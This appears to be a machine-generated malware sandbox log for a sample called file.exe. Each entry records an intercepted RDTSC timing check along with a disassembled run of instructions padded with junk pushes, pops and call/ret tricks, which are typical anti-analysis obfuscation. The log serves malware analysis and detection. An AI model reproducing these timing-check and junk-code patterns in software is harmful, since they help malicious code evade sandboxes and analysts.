Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B750 second address: 105B756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1050016 second address: 10500AB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F0C5DC268A8h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f nop 0x00000010 adc di, 4BECh 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007F0C5DC268A8h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 pushad 0x00000037 mov esi, dword ptr [ebp+122D3338h] 0x0000003d jmp 00007F0C5DC268B1h 0x00000042 popad 0x00000043 mov dword ptr fs:[00000000h], esp 0x0000004a mov ebx, dword ptr [ebp+122D18F3h] 0x00000050 mov eax, dword ptr [ebp+122D05B9h] 0x00000056 push 00000000h 0x00000058 push ebx 0x00000059 call 00007F0C5DC268A8h 0x0000005e pop ebx 0x0000005f mov dword ptr [esp+04h], ebx 0x00000063 add dword ptr [esp+04h], 00000015h 0x0000006b inc ebx 0x0000006c push ebx 0x0000006d ret 0x0000006e pop ebx 0x0000006f ret 0x00000070 mov ebx, dword ptr [ebp+122D28FAh] 0x00000076 push FFFFFFFFh 0x00000078 mov bx, 041Ch 0x0000007c nop 0x0000007d push eax 0x0000007e pushad 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10559F1 second address: 10559F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057A04 second address: 1057A0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0C5DC268A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058AA1 second address: 1058AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C64C second address: 105C6BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F0C5DC268B4h 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F0C5DC268A8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 push 00000000h 0x0000002a movsx ebx, di 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F0C5DC268A8h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 0000001Bh 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 add dword ptr [ebp+1245C481h], ebx 0x0000004f xchg eax, esi 0x00000050 pushad 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10511E3 second address: 10511F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jnc 00007F0C5CBCB6C6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057A0E second address: 1057A12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C6BA second address: 105C6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0C5CBCB6C6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10511F6 second address: 1051209 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C5DC268AFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057A12 second address: 1057A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007F0C5CBCB6E7h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0C5CBCB6D9h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1051209 second address: 105120D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B8ED second address: 105B8F7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0C5CBCB6CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F6A4 second address: 105F6BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C5DC268B7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F6BF second address: 105F6CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F6CD second address: 105F6DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C5DBE21DCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E9FB second address: 105E9FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E9FF second address: 105EA03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105EA03 second address: 105EA09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F8CA second address: 105F8CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105EA09 second address: 105EA1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jng 00007F0C5CC1AFC6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106481C second address: 1064820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064820 second address: 1064829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068FE0 second address: 1068FEC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0C5DBE21D6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068FEC second address: 1068FF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068FF1 second address: 1068FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069147 second address: 106914B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C4CD second address: 106C4D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D82C second address: 100D863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F0C5CC1AFCAh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 jg 00007F0C5CC1AFDCh 0x00000017 push eax 0x00000018 push edx 0x00000019 jng 00007F0C5CC1AFC6h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D863 second address: 100D867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10745EA second address: 10745F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1073417 second address: 107341B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107341B second address: 1073421 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1073CC0 second address: 1073CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C5DBE21E8h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0C5DBE21DFh 0x00000011 jg 00007F0C5DBE21D6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1073CF4 second address: 1073D00 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0C5CC1AFC6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1073E3E second address: 1073E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edi 0x00000007 jmp 00007F0C5DBE21E2h 0x0000000c jmp 00007F0C5DBE21E5h 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1073E6D second address: 1073E77 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0C5CC1AFD2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1073E77 second address: 1073E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0C5DBE21D6h 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107417D second address: 1074185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074185 second address: 1074189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107442F second address: 1074442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0C5CC1AFC6h 0x0000000a pop edi 0x0000000b jg 00007F0C5CC1AFCCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074442 second address: 1074453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jp 00007F0C5DBE21D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074453 second address: 1074457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074457 second address: 107445D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107445D second address: 107446D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jc 00007F0C5CC1AFC6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107446D second address: 1074477 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0C5DBE21D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074477 second address: 1074491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F0C5CC1AFCBh 0x0000000a jng 00007F0C5CC1AFC6h 0x00000010 popad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10088B2 second address: 10088C1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnl 00007F0C5DBE21D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10777B2 second address: 10777BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10777BA second address: 10777BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10777BF second address: 10777C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B5EF second address: 104B5F5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B6A2 second address: 104B6A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B6A6 second address: 104B6F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnl 00007F0C5DBE21E8h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ebx 0x00000013 push ecx 0x00000014 push edx 0x00000015 pop edx 0x00000016 pop ecx 0x00000017 pop ebx 0x00000018 mov eax, dword ptr [eax] 0x0000001a jg 00007F0C5DBE21E2h 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 je 00007F0C5DBE21E8h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B6F2 second address: 104B6F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B844 second address: 104B848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B848 second address: 104B852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0C5CC1AFC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B852 second address: 104B856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B91F second address: 104B94F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CC1AFD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F0C5CC1AFD0h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B94F second address: 104B953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B953 second address: 104B959 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104BBA4 second address: 104BBAA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104BBAA second address: 104BC2A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007F0C5CC1AFC6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0C5CC1AFCEh 0x00000013 pop edx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F0C5CC1AFC8h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f mov dx, 61CAh 0x00000033 adc cl, FFFFFF90h 0x00000036 push 00000004h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007F0C5CC1AFC8h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 mov ecx, dword ptr [ebp+122D3454h] 0x00000058 nop 0x00000059 push eax 0x0000005a push edx 0x0000005b jo 00007F0C5CC1AFCCh 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104BC2A second address: 104BC2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104C237 second address: 104C256 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CC1AFD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104C256 second address: 104C263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F0C5DBE21D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D10C second address: 102D111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D111 second address: 102D12A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C5DBE21E3h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D12A second address: 102D12E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D12E second address: 102D163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 ja 00007F0C5DBE21D8h 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F0C5DBE21E8h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D163 second address: 102D167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D167 second address: 102D16B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077CF4 second address: 1077D10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CC1AFCAh 0x00000007 jc 00007F0C5CC1AFC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f ja 00007F0C5CC1AFC8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077D10 second address: 1077D37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C5DBE21E9h 0x00000009 jmp 00007F0C5DBE21DAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077D37 second address: 1077D3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077D3B second address: 1077D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077D46 second address: 1077D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F0C5CC1AFCEh 0x00000011 jnl 00007F0C5CC1AFC8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077FFC second address: 1078015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C5DBE21DAh 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c jp 00007F0C5DBE21DCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078015 second address: 1078030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jg 00007F0C5CC1AFD5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078030 second address: 1078060 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5DBE21E3h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F0C5DBE21E7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107835F second address: 1078367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078367 second address: 107836B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EB4B second address: 107EB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EB54 second address: 107EB73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C5DBE21DBh 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EB73 second address: 107EB7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D642 second address: 107D646 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DA68 second address: 107DA89 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0C5CC1AFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F0C5CC1AFD4h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DBF6 second address: 107DC0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push ecx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d popad 0x0000000e push esi 0x0000000f push edx 0x00000010 jbe 00007F0C5DBE21D6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
